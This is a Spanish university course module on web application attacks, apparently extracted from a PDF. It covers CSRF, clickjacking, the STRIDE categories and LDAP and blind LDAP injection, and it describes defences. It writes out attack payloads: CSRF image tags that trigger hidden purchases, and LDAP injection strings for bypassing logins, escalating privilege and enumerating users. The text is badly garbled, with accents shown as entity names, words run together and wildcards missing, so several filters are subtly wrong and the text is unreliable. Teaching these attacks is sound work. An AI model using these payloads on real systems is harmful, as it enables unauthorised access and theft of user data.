Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
